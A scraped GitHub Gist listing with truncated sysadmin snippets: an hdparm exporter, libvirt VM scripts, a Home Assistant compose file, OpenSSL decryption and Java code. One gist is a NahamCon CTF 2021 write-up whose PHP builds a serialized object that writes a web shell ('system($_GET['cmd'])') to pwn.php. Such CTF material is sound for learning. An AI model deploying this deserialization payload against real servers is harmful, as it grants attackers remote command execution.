Skip to content

Instantly share code, notes, and snippets.

@markus-k
markus-k / sleepstate.py
Last active November 8, 2022 16:21
prometheus text exporter for hdparm sleep state
#!/usr/bin/env python3
# usage: hdparm -C /dev/sd[a-d] | ./sleepstate.py
import sys
hdparm_output = sys.stdin.read()
lines = list(filter(lambda line: line, hdparm_output.splitlines()))
drives = [lines[i : i + 2] for i in range(0, len(lines), 2)]
@markus-k
markus-k / create-cloud-vm.sh
Last active April 6, 2022 15:56
Script to create simple cloud-init instances in libvirt
#!/bin/bash
# this is basically https://sumit-ghosh.com/articles/create-vm-using-libvirt-cloud-images-cloud-init/
# as a script
set -x
set -e
if [ $# -eq "0" ]; then
echo "Usage: $0 INSTANCE_NAME"
@markus-k
markus-k / CerealAndMilk.md
Last active March 15, 2021 13:44
NahamCon CTF 2021 - CerealAndMilk

Script to create serialized string:

<?php
include 'log.php';

$o = new log;
$o->logs = './pwn.php';
$o->request = '<?php system($_GET[\'cmd\']); ?>';

$s = serialize($o);
@markus-k
markus-k / docker-compose.yml
Created March 17, 2018 13:21
hass.io docker-compose
version: '3'
services:
home-assistant:
image: homeassistant/home-assistant
volumes:
- ./data/home-assistant:/config
- /etc/localtime:/etc/localtime:ro
restart: always
network_mode: host
configurator:
package a4;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
import thingy.Item;
public class CollectorC implements Collector_I {
private ArrayList<Item> input;
@markus-k
markus-k / decrypt.sh
Created February 6, 2015 20:20
Hybrid encryption with OpenSSL
#!/bin/sh
# decrypt the key
openssl rsautl -decrypt -inkey rsa.key -in keyfile_crypted -out keyfile
# use the key to decrypt the data
openssl aes-256-cbc -d -in encrypted.txt -out plain_decrypted.txt -pass file:keyfile
rm keyfile
@markus-k
markus-k / clone-vm.sh
Last active August 29, 2015 14:04
Script for cloning libvirt machines
#!/bin/bash
function usage() {
echo "Usage: $0 NEW-NAME"
}
BASEVM_NAME=base-debian7
BASEVM_HDD=${BASEVM_NAME}-sda
NEWVM_NAME=$1